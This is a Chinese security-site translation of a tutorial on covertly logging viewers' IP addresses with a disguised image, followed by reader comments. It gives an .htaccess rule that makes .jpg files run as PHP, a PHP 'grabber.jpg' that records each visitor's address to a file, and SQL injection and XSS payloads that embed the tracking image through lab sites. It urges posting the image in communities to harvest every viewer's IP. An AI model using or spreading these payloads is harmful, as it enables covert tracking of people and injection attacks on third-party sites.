今天早上起床之后,我看到一篇关于“使用sql注入语句获取ip地址”的文章,对此我很感兴趣,就仔细阅读了一下,在读完这篇文章之后,我有了一个新的想法:
通过对htaccess的利用,实现用一张照片获取他人的ip地址
在本教程中,我们将学习如何用一张照片来盗取ip地址。我的想法是通过修改.htaccess文件,将jpg文件当作php文件来解析。
下面就是我们需要向.htaccess中添加的代码:
AddHandler application/x-httpd-php5 .jpg
然后将下面的代码复制到记事本中,命名为grabber.jpg
$fh = fopen('ip_list.txt', 'a');
fwrite($fh, $_SERVER['REMOTE_ADDR']."
");
fclose($fh);
$im = imagecreatefromjpeg("n00b.png");
header('Content-Type: image/jpeg');
imagejpeg($im);
imagedestroy($im);
将grabber.jpg的权限设置为755,然后再找一张照片,将其命名为n00b.png,接着放到与grabber.jpg相同的目录之中。
就这样,一切工作就绪了。当别人浏览grabber.jpg这张照片的时候,他的ip地址就会被记录下来。
(译者注:需要把这些东西上传至我们的个人网站空间中)
POC:
(译者注:作者这里贴了一张可获取ip的演示照片,为了大家的隐私,我没有将其贴出,读者可自行去作者博客查看)
至此,我们的照片已经可以开始工作了。
接着我还想说明一下如何使用SQLi来获取ip地址。其实使用照片来盗取ip地址十分快捷,我们没有理由去使用SQLi这种方法,但是为了让读者获取到更多的知识,我还是说明一下吧:
http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1' union select 1,0x3c696d67207372633d22687474703a2f2f6c65657474696d652e6e65742f6964696f74735f746573745f6c61622f696d61676569702f7472796d652e6a7067223e,3#
现在,再说一下如何使用xss来获取ip地址:
http://leettime.net/xsslab1/chalg1.php?name=<img src="http://leettime.net/idiots_test_lab/imageip/tryme.jpg">&submit=Search
好了,就是这些了。
我们可以用这个技巧做许多有趣的事情,事实上大部分社区都允许我们发布一些照片,所以我们可以用这个方法去获取所有访问到我们照片的人的ip地址。
谢谢您的阅读,Happy Hacking!
*原文链接:securityidiots,watcher编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)
- 上一篇:DHT爬虫:18.4GB种子分析小记
- 下一篇:DDoS恶意软件发展史

不容错过
- 看警方如何社工暗网恋童网站逮捕虐童狂魔clouds2016-08-31
- 访问一个网站就能让ASLR保护失效,百万设备陷入危机bimeover2017-02-21
- 走进科学:现代汽车的大脑与安全破晓2014-12-15
- 跪求浏览器拦截本站的解决方案……FB独家2016-03-30
0daybank
已有 46 条评论
直接插请求日志不就有ip了?
@ 河蟹 .这个是把照片贴到其它网站,看其它网站的访问ip吧
@ hi 那请求日志也会记录啊
@ qmm0523 我个人理解是:如果看请求日志,请求日志里面是自己网站所有的请求记录。但是如果用这张照片贴到自己想记录的网站的话,记录的全都是那个网站的。这样可能更加精准吧,您觉得呢
@ hi 可是请求日志里面也具体到记录用户请求了哪个文件呀 ~
@ qmm0523 也对噢! 不过要对日志进行处理和分析,稍微可能要繁琐一点,
@ hi 直接 图片地址加参数记录。http://www.freebuf.com/images/1.jpg?from=www.kakawz.com 比如这样日志中就表示图片在from参数的网页中引用过
@ hi 也可以对某个文件记录到不同的日志文件里面啊
记录ip这么繁琐,用简单的方式不行么,还是想用图片来钓鱼?
@ istr33 这个是用照片来获取目标网站的访问ip,不是自己网站的吧,感觉有收集访客信息的倾向
@ hi freebuf上不是可以允许外联图片么。是这个远离不
@ 夜尽天明 freebuf好像不允许外链照片吧~
@ hi 我想请教一下,修改的是哪个网站的.htaccess文件?目标网站的?
站长统计 分分钟解决。不但是IP 操作系统版本 浏览器版本 等等
@ 哇哈哈哈哈哈哈哈 站长统计代码嵌入需要站长权限吧,这个不需要
qq空间是否能这样
@ 自律 应该可以的
测试是不可以的 没有记录IP 还不如直接获取$_SERVER['REMOTE_ADDR']
@ 小白 我刚才试了可以的! 上面的代码也是通过$_SERVER['REMOTE_ADDR']获取的,你权限是不是没有给够?
@ hi 不是755权限么 ?难道还有其他什么权限?小白 求教
@ 小白 可能是.htaccess文件的问题,
你换成下面的:
AddHandler php5-script .jpg
[img]http://image.3001.net/images/20160411/14603634817599.jpg[/img]
我搭环境测试了,是可以的
@ 小白 截图没显示出来……
@ watcher 具体怎么做呢?图片ip记录这个,怎么搭建环境呢?最后记录的ip地址怎么打开?与图片链接有关??
http://www.xxx.com/pic.php
<?php
echo file_get_contents(‘pic.jpg’);
@ 1111 这样好像不能放入自己没有控制权的网站吧?
我竟无言以对
Grab-IP-Address-Using-Image 你能翻译成这样我不服不行,image是content-type的adj,你直接翻译成“一张照片”,grab是“从……抓取”的动作,你翻译成“获取”,人家原文的意思是“从图像类型(请求)中抓取IP地址”,你这翻译碉堡了……
@ 我的天呐 Grab-IP-Address-Using-Image,你翻译成“从图像类型(请求)中抓取IP地址”与本文标题“如何通过一张照片来获取ip地址? ”,翻译的也没错啊感觉。
@ 我的天呐 谢谢指出不足,但我觉得翻译在尊重原意的同时,还应该让其易于理解,符合国人阅读习惯,您觉得呢?
尼玛,太绝了,这让我想起了达文西的太阳能手电筒啊!
.jpg的权限设置为755 怎么设置
@ HHacker FTP一般就可以设置 当然服务器空间最好是linux的 windows不知道咋个弄。。。没弄过
@ whoareyou 自己网站的啊
@ hi 哦,好像有点明白了。就是本地搭这么一套环境,然后把图片的链接发布到目标网站上,然后别人访问目标网站你发布的图片,然后本地这边就能记录下来IP了,是这样的吗?
@ whoareyou 应该问题不大,如有路由器需要端口映shi,不过移动宽带没有公网ip呵呵了
写这篇文章的小白真白,看来他真心对WEB网络编程了解的很白。
传别人网站都能执行php了,那么何必记录ip呢,直接丢一句话不就行了。
@ 361 所有过程都是在自己的网站进行的,需要做的只是将照片发布至目标网站,谢谢
表示没搞懂作者想要干什么。。。不过太阳能手电筒亮了!
已经试验成功了
@ 孤城浪子 通过图片获取IP怎么实现的具体,可以教教我吗?详细的,谢谢你
大惊小怪,前几年测试的时候,国内邮箱基本都能通过这种方式获取收件人ip的,现在就不知道了,gmail在这方面考虑的还是比较周到的,使用代理获取图片缓存在google哪里,而不是用户直接去拽,有效的保护了用户隐私,这点国内邮箱可以借鉴一下。
有现成的类似这种的统计网站吗? 类似 smartstat
我还以为是什么呢。
这和 nginx 加个access.log 记录的 ip 有什么区别?
没有区别!还以为说别人的服务器!